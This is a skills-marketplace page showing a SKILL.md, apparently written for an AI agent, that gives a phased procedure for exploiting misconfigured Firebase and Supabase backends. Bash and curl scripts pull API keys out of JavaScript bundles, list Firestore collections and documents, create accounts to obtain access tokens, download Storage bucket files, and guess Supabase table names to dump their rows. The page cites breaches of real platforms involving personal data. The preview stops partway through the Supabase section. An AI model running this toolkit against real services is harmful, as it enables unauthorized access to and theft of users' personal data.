Skip to main content

firebase-supabase-attack

Exploit Firebase/Supabase for data via JS config leak probe.

Datos de origen

Repositorio
uphiago/recon-skills
Última actividad en el origen
30 de julio de 2026 a las 00:23
Idioma detectado de SKILL.md
inglés
Estrellas
1306
Forks
218

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
firebase-supabase-attack
description
Exploit Firebase/Supabase for data via JS config leak probe.
version
1.1.0
revision_date
2026-07-25T00:00:00.000Z
license
MIT
platforms
["linux"]
compatibility
Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei
tags
["recon","firebase","supabase","firestore","cloud","data-breach"]
category
recon
related_skills
["api-noauth-hunt","js-secrets-extraction","source-leak-hunt"]
# Firebase & Supabase Attack Skill Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on delivery-platform (204K WhatsApp conversations, 173K phone numbers), visa-processing-platform (64K users, 46K reports), fitness-chain (39K users, 5 Firebase projects, 21 credentials), dental-booking (9 clinics, 1,749 leads). ## When to Use - JavaScript bundle analysis reveals Firebase config (`apiKey`, `projectId`) or Supabase URL + anon key. - Target uses a modern SPA (React, Vue, Angular) with BaaS backend. - After `js-secrets-extraction` finds Firebase/Supabase identifiers. - After `source-leak-hunt` finds `.env` with `FIREBASE_*` or `SUPABASE_*` variables. ## Prerequisites - `terminal` with curl, python3, jq. - Firebase project ID or Supabase URL + anon key (from JS bundle, source leak, or recon). - For Firebase SA key exploitation: `python3` with `google-auth` library. ## How to Run ```bash # Firebase Firestore — list collections (if public) curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/" # Supabase — list users table (if RLS missing) curl --max-time 30 --connect-timeout 10 -sk "https://PROJECT.supabase.co/rest/v1/users" \ -H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY" # Supabase — test signup (if open) curl --max-time 30 --connect-timeout 10 -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \ -H "apikey: ANON_KEY" -H "Content-Type: application/json" \ -d '{"email":"test@evil.com","password":"Test123!"}' ``` ## Quick Reference | Platform | What to Find | Exploit Path | Real Example | |----------|-------------|-------------|--------------| | Firebase Firestore | Public database rules | Direct REST API access, list all collections | delivery-platform: 204K conversations public | | Firebase Storage | Public bucket rules | Download all files via REST API | delivery-platform: 1,000+ WhatsApp audio files public | | Firebase Auth | Open signup | Create accounts, access protected resources | fitness-chain: Firebase Auth signup open | | Firebase SA Key | Service account JSON | GCP IAM escalation, access all GCP resources | fitness-chain: 5 SA keys → full GCP access | | Supabase REST | Missing RLS | SELECT/INSERT/UPDATE/DELETE on any table | visa-processing-platform: 64K users, 46K reports, DELETE confirmed | | Supabase Storage | Public buckets | Download all files, upload malicious content | visa-processing-platform: public PDF reports bucket | | Supabase Auth | Open signup | Create accounts, bypass access controls | dental-booking: open signup + auto-confirm | ## Procedure ### Phase 1 — Extract Configuration from JS Bundles ```bash TARGET="$1" OUTDIR="$OUTDIR/firebase_supabase/$TARGET" mkdir -p "$OUTDIR" # Download homepage and common JS entry points curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" -o "$OUTDIR/index.html" curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null echo "[*] Extracting Firebase/Supabase configs..." # Firebase config pattern grep -Eo 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \ "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u # Supabase config pattern grep -Eo 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \ "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u ``` ### Phase 2 — Firebase Firestore Exploitation ```bash PROJECT_ID="$1" # e.g., delivery-bot-platform echo "[*] Firestore enumeration for $PROJECT_ID" # List root collections (if public) curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \ python3 -c " import sys, json try: data = json.load(sys.stdin) if 'documents' in data: print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list') else: for k in data.keys(): print(f'Collection: {k}') except Exception as e: print(f'Error: {e}') print(sys.stdin.read()[:500]) " 2>/dev/null # If Firestore requires auth, try with Firebase ID token from Auth # (see Phase 4 for token generation via signup) ``` ### Phase 3 — Firestore Collection & Document Access ```bash PROJECT_ID="$1" COLLECTION="$2" # e.g., conversationsV3, users, stores echo "[*] Accessing collection: $COLLECTION" # List documents in collection curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \ python3 -c " import sys, json data = json.load(sys.stdin) if 'documents' in data: print(f'Documents found: {len(data[\"documents\"])}') for doc in data['documents'][:5]: name = doc['name'].split('/')[-1] fields = doc.get('fields', {}) # Extract top-level fields keys = list(fields.keys())[:10] print(f' {name}: {keys}') if len(data['documents']) > 5: print(f' ... and {len(data[\"documents\"]) - 5} more') elif 'error' in data: print(f'Error: {data[\"error\"][\"message\"]}') " 2>/dev/null # Read a specific document DOC_ID="$3" # from the listing above curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \ python3 -m json.tool 2>/dev/null | head -50 ``` ### Phase 4 — Firebase Auth Signup & Token Generation ```bash API_KEY="$1" # from JS bundle (web API key) PROJECT_ID="$2" echo "[*] Testing Firebase Auth signup on $PROJECT_ID" # Sign up SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \ -H "Content-Type: application/json" \ -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}') if echo "$SIGNUP_RESP" | grep -q "idToken"; then echo "[+] SIGNUP OPEN — account created!" ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null) echo " ID Token: ${ID_TOKEN:0:50}..." # Now use this token with Firestore echo "[*] Testing Firestore access with ID token..." curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \ -H "Authorization: Bearer $ID_TOKEN" | python3 -c " import sys, json data = json.load(sys.stdin) if 'documents' in data: print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible') elif 'error' in data: print(f'[-] Access denied: {data[\"error\"][\"message\"]}') else: print(f'[?] Unknown response: {list(data.keys())}') " 2>/dev/null else echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)" fi ``` ### Phase 5 — Firebase Storage Enumeration ```bash PROJECT_ID="$1" BUCKET="${PROJECT_ID}.appspot.com" # default bucket name echo "[*] Storage enumeration for $BUCKET" # List objects (if public) curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \ python3 -c " import sys, json data = json.load(sys.stdin) if 'items' in data: total = len(data['items']) total_size = sum(int(i.get('size', 0)) for i in data['items']) print(f'Objects: {total} ({total_size:,} bytes)') for item in data['items'][:5]: print(f' {item[\"name\"]} ({item.get(\"size\",0):,} bytes)') elif 'error' in data: print(f'Error: {data[\"error\"][\"message\"]}') " # Download a specific file OBJECT_NAME="$2" # from listing curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \ -o "/tmp/firebase_$OBJECT_NAME" echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME" ``` ### Phase 6 — Supabase REST API Exploitation ```bash SUPABASE_URL="$1" # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co ANON_KEY="$2" # from JS bundle echo "[*] Supabase REST API enumeration" # Schema discovery — list tables by querying common names TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases" "orders" "products" "reports" "relatorios" "documents" "files" "messages" "conversations" "sessions" "audit_logs") for table in "${TABLES[@]}"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \ "$SUPABASE_URL/rest/v1/$table?limit=1" \ -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null) if [[ "$code" == "200" ]]; then count=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \ -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \ -H "Prefer: count=exact" -I 2>/dev/null | grep -i "content-range" | grep -Eo '\d+(?=/\d+$)') echo " [TABLE] $table — HTTP 200 (${count:-?} rows)" # Fetch first 3 rows curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=3" \ -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | \ python3 -m json.tool 2>/dev/null | head -20 echo "" elif [[ "$code" == "401" || "$code" == "403" ]]; then echo " [BLOCKED] $table — HTTP $code (RLS protected)" fi
Ver en GitHub
Este SKILL.md es muy grande, por eso SkillsMP muestra aqui solo la primera seccion. Ver en GitHub